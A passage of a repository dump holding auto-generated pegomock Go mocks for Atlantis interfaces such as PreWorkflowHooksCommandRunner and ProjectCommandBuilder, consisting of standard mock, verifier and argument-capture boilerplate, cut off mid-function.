    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHooksCommandRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPostWorkflowHooksCommandRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPostWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPostWorkflowHooksCommandRunner {\n\tmock := &MockPostWorkflowHooksCommandRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) {\n\tmock.fail = fh\n}\nfunc (mock *MockPostWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail }\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPostWorkflowHooksCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, cmd}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"RunPostHooks\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHooksCommandRunner {\n\treturn &VerifierMockPostWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHooksCommandRunner {\n\treturn &VerifierMockPostWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHooksCommandRunner {\n\treturn &VerifierMockPostWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHooksCommandRunner {\n\treturn &VerifierMockPostWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPostWorkflowHooksCommandRunner struct {\n\tmock                   *MockPostWorkflowHooksCommandRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification {\n\t_params := []pegomock.Param{ctx, cmd}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunPostHooks\", _params, verifier.timeout)\n\treturn &MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification struct {\n\tmock              *MockPostWorkflowHooksCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, cmd := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], cmd[len(cmd)-1]\n}\n\nfunc (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_pre_workflow_hook_url_generator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHookURLGenerator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPreWorkflowHookURLGenerator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPreWorkflowHookURLGenerator(options ...pegomock.Option) *MockPreWorkflowHookURLGenerator {\n\tmock := &MockPreWorkflowHookURLGenerator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPreWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPreWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPreWorkflowHookURLGenerator().\")\n\t}\n\t_params := []pegomock.Param{hookID}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GenerateProjectWorkflowHookURL\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookURLGenerator {\n\treturn &VerifierMockPreWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookURLGenerator {\n\treturn &VerifierMockPreWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookURLGenerator {\n\treturn &VerifierMockPreWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookURLGenerator {\n\treturn &VerifierMockPreWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPreWorkflowHookURLGenerator struct {\n\tmock                   *MockPreWorkflowHookURLGenerator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification {\n\t_params := []pegomock.Param{hookID}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GenerateProjectWorkflowHookURL\", _params, verifier.timeout)\n\treturn &MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct {\n\tmock              *MockPreWorkflowHookURLGenerator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string {\n\thookID := c.GetAllCapturedArguments()\n\treturn hookID[len(hookID)-1]\n}\n\nfunc (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_pre_workflows_hooks_command_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHooksCommandRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPreWorkflowHooksCommandRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPreWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPreWorkflowHooksCommandRunner {\n\tmock := &MockPreWorkflowHooksCommandRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) {\n\tmock.fail = fh\n}\nfunc (mock *MockPreWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail }\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPreWorkflowHooksCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, cmd}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"RunPreHooks\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHooksCommandRunner {\n\treturn &VerifierMockPreWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHooksCommandRunner {\n\treturn &VerifierMockPreWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHooksCommandRunner {\n\treturn &VerifierMockPreWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHooksCommandRunner {\n\treturn &VerifierMockPreWorkflowHooksCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPreWorkflowHooksCommandRunner struct {\n\tmock                   *MockPreWorkflowHooksCommandRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification {\n\t_params := []pegomock.Param{ctx, cmd}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunPreHooks\", _params, verifier.timeout)\n\treturn &MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification struct {\n\tmock              *MockPreWorkflowHooksCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, cmd := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], cmd[len(cmd)-1]\n}\n\nfunc (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_project_command_builder.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectCommandBuilder)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectCommandBuilder struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectCommandBuilder(options ...pegomock.Option) *MockProjectCommandBuilder {\n\tmock := &MockProjectCommandBuilder{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectCommandBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectCommandBuilder) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildApplyCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildApprovePoliciesCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildAutoplanCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildImportCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildPlanCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildStateRmCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandBuilder().\")\n\t}\n\t_params := []pegomock.Param{ctx, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildVersionCommands\", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []command.ProjectContext\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]command.ProjectContext)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectCommandBuilder) VerifyWasCalledOnce() *VerifierMockProjectCommandBuilder {\n\treturn &VerifierMockProjectCommandBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectCommandBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandBuilder {\n\treturn &VerifierMockProjectCommandBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectCommandBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandBuilder {\n\treturn &VerifierMockProjectCommandBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectCommandBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandBuilder {\n\treturn &VerifierMockProjectCommandBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectCommandBuilder struct {\n\tmock                   *MockProjectCommandBuilder\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildApplyCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildApprovePoliciesCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildAutoplanCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetCapturedArguments() *command.Context {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildImportCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildImportCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildImportCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif 